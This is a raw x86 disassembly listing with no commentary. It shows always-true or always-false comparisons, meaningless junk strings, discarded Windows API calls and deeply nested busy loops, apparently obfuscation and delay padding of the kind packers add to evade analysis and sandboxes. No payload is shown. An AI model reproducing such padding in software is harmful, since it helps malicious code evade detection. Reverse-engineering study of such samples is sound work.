cmp dword [ebp - 0x184], 0x77e2
jge 0x41370f
mov eax, dword [ebp - 0x17c]
or eax, dword [ebp - 0x184]
cdq
mov dword [ebp - 0x38c], eax
mov dword [ebp - 0x388], edx
push dword [ebp - 0x388]
push dword [ebp - 0x38c]
mov ecx, 0xaa8ef8
call fcn.0042f678
jmp 0x4136c5
jmp 0x4136a3
push 0
push dword [ebp - 0x3f8]
push 0
push dword [ebp - 0x230]
call fcn.00410e39
add esp, 0x10
mov dword [ebp - 0x24], eax
mov dword [ebp - 4], 0x34
cmp dword [ebp - 0x290], 0x433e
jge 0x41374f
mov edx, dword [ebp - 0x378]
mov ecx, 0xaa8ef8
call fcn.00430eb8
jmp 0x41376b
or dword [ebp - 4], 0xffffffff
jmp 0x413775
jmp 0x413793
push 1
push 0
lea eax, [ebp - 0x4ac]
push eax
push dword [ebp - 0x230]
call fcn.00410e39
add esp, 0x10
mov dword [ebp - 0x24], eax
lea ecx, [ebp - 0x4ac]
call fcn.00402a51
jmp 0x4138e9
mov dword [ebp - 0x2a0], 0x765f
mov dword [ebp - 0x2d4], str.fbbxatjj_dfs_fche_yzrqkgksl_wrjbtzp_ufkdxefin_oxfpbuxst_uihk_xkukfd_gyymibv_xwatxp_rkmhig_zidznsy_mhi
cmp dword [ebp - 0x2a0], 0x7981
jle 0x413871
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_UpdateColors]
and dword [ebp - 0x18c], 0
jmp 0x4137f1
mov eax, dword [ebp - 0x18c]
inc eax
mov dword [ebp - 0x18c], eax
cmp dword [ebp - 0x18c], 0x77af
jge 0x413871
and dword [ebp - 0x194], 0
jmp 0x413813
mov eax, dword [ebp - 0x194]
inc eax
mov dword [ebp - 0x194], eax
cmp dword [ebp - 0x194], 0x6223
jge 0x41386c
mov eax, dword [ebp - 0x18c]
sub eax, dword [ebp - 0x194]
cdq
mov dword [ebp - 0x398], eax
mov dword [ebp - 0x394], edx
push dword [ebp - 0x394]
push dword [ebp - 0x398]
lea ecx, [ebp - 0x5e4]
call fcn.0040501b
pop ecx
pop ecx
mov ecx, eax
call fcn.00402aad
push eax
call fcn.0049a6ea
pop ecx
lea ecx, [ebp - 0x5e4]
call fcn.0040289a
jmp 0x413806
jmp 0x4137e4
cmp dword [ebp + 0x10], 0
jne 0x413887
mov ecx, dword [ebp + 0xc]
call fcn.00402aad
mov dword [ebp - 0x298], eax
jmp 0x413891
movzx eax, word [ebp + 0x10]
mov dword [ebp - 0x298], eax
push dword [ebp - 0x298]
push dword [ebp + 8]
call fcn.0040fce0
pop ecx
pop ecx
mov dword [ebp - 0x24], eax
mov dword [ebp - 4], 0x36
cmp dword [ebp - 0x2a0], 0x7480
jge 0x4138c3
push dword [ebp - 0x2d4]
call fcn.0049a6ea
pop ecx
jmp 0x4138df
or dword [ebp - 4], 0xffffffff
jmp 0x4138e9
mov dword [ebp - 4], 0x38
cmp dword [ebp - 0x2a8], 0x7103
jge 0x41390c
mov edx, dword [ebp - 0x384]
mov ecx, 0xaa8ef8
call fcn.00430eb8
jmp 0x413928
or dword [ebp - 4], 0xffffffff
jmp 0x413932
lea ecx, [ebp - 0x4dc]
call fcn.00402929
lea ecx, [ebp - 0x494]
call fcn.00402a51
mov dword [ebp - 0x2b0], 0x7f02
mov dword [ebp - 0x410], str.fghiizgc_xqkpgbvb_wiififj_sdjsxigte_unniwebi
cmp dword [ebp - 0x2b0], 0x8175
jle 0x413a3a
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
and dword [ebp - 0x19c], 0
jmp 0x413988
mov eax, dword [ebp - 0x19c]
inc eax
mov dword [ebp - 0x19c], eax
cmp dword [ebp - 0x19c], 0x7376
jge 0x413a3a
and dword [ebp - 0x1a4], 0
jmp 0x4139ae
mov eax, dword [ebp - 0x1a4]
inc eax
mov dword [ebp - 0x1a4], eax
cmp dword [ebp - 0x1a4], 0x48a9
jge 0x413a35
and dword [ebp - 0x1ac], 0
jmp 0x4139d0
mov eax, dword [ebp - 0x1ac]
inc eax
mov dword [ebp - 0x1ac], eax
cmp dword [ebp - 0x1ac], 0x5df
jge 0x413a30
mov eax, dword [ebp - 0x19c]
imul eax, dword [ebp - 0x1a4]
xor eax, dword [ebp - 0x1ac]
cdq
mov dword [ebp - 0x420], eax
mov dword [ebp - 0x41c], edx
push dword [ebp - 0x41c]
push dword [ebp - 0x420]
lea ecx, [ebp - 0x614]
call fcn.0040501b
pop ecx
pop ecx
mov ecx, eax
call fcn.00402aad
push eax
call fcn.0049a6ea
pop ecx
lea ecx, [ebp - 0x614]
call fcn.0040289a
jmp 0x4139c3
jmp 0x4139a1
jmp 0x41397b
mov eax, dword [ebp - 0x24]
jmp 0x413bf2
mov dword [ebp - 0x2b8], 0x977
mov dword [ebp - 0x390], str.iro_ars_ngstgyi_zjcguani
cmp dword [ebp - 0x2b8], 0xc3f
jle 0x413ba9
and dword [ebp - 0x1b4], 0
jmp 0x413ac1
mov eax, dword [ebp - 0x1b4]
inc eax
mov dword [ebp - 0x1b4], eax
cmp dword [ebp - 0x1b4], 0x1ac9
jge 0x413ba9
and dword [ebp - 0x1bc], 0
jmp 0x413ae7
mov eax, dword [ebp - 0x1bc]
inc eax
mov dword [ebp - 0x1bc], eax
cmp dword [ebp - 0x1bc], 0x62b6
jge 0x413ba4
and dword [ebp - 0x1c4], 0
jmp 0x413b0d
mov eax, dword [ebp - 0x1c4]
inc eax
mov dword [ebp - 0x1c4], eax
cmp dword [ebp - 0x1c4], 0x41a6
jge 0x413b9f
and dword [ebp - 0x1cc], 0
jmp 0x413b33
mov eax, dword [ebp - 0x1cc]
inc eax
mov dword [ebp - 0x1cc], eax
cmp dword [ebp - 0x1cc], 0x3423
jge 0x413b9a
mov eax, dword [ebp - 0x1b4]
add eax, dword [ebp - 0x1bc]
mov ecx, dword [ebp - 0x1c4]
shl eax, cl
or eax, dword [ebp - 0x1cc]
cdq
mov dword [ebp - 0x42c], eax
mov dword [ebp - 0x428], edx
push dword [ebp - 0x428]
push dword [ebp - 0x42c]
lea ecx, [ebp - 0x644]
call fcn.0040501b
pop ecx
pop ecx
mov ecx, eax
call fcn.00402aad
push eax
call fcn.0049a6ea
pop ecx
lea ecx, [ebp - 0x644]
call fcn.0040289a
jmp 0x413b26
jmp 0x413b00
jmp 0x413ada
jmp 0x413ab4
xor eax, eax
jmp 0x413bf2
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret